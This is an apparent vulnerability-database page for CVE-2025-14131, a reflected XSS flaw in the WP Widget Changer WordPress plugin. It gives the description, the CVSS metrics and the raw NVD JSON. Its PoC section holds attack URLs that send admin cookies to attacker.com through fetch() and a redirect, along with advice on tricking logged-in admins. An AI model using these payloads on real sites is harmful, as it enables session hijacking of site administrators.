Security Vulnerability Report
中文
CVE-2025-14131 CVSS 6.1 MEDIUM

CVE-2025-14131

Published: 2026-01-07 12:16:54
Last Modified: 2026-04-15 00:35:42

Description

The WP Widget Changer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Widget Changer plugin <= 1.2.5 (all versions up to and including 1.2.5)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-14131 PoC - Reflected XSS in WP Widget Changer --> <!-- Attack URL: Replace 'example.com' with target domain --> <!-- http://example.com/wp-admin/admin.php/<script>alert(document.domain)</script> <!-- More sophisticated payload --> http://example.com/wp-admin/admin.php/<img src=x onerror=fetch('https://attacker.com/log?cookie='+document.cookie)> <!-- Steal admin session --> http://example.com/wp-admin/admin.php/<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- The vulnerable code (widget_changer.php line ~162) --> <!-- $PHP_SELF = $_SERVER['PHP_SELF']; ?> <form method="post" action="<?php echo $PHP_SELF; ?>"> <!-- <!-- Usage: Trick user into clicking crafted URL while logged into WordPress admin panel -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14131", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:53.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Widget Changer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin WP Widget Changer para WordPress es vulnerable a Cross-Site Scripting Reflejado a través de la variable '$_SERVER['PHP_SELF']' en todas las versiones hasta la 1.2.5, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción, como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-widget-changer/tags/1.2.5/widget_changer.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-widget-changer/trunk/widget_changer.php#L162", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-widget-changer/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/699392b4-8270-47b5-90c1-5280d1389586?source=cve", "source": "[email protected]"}]}}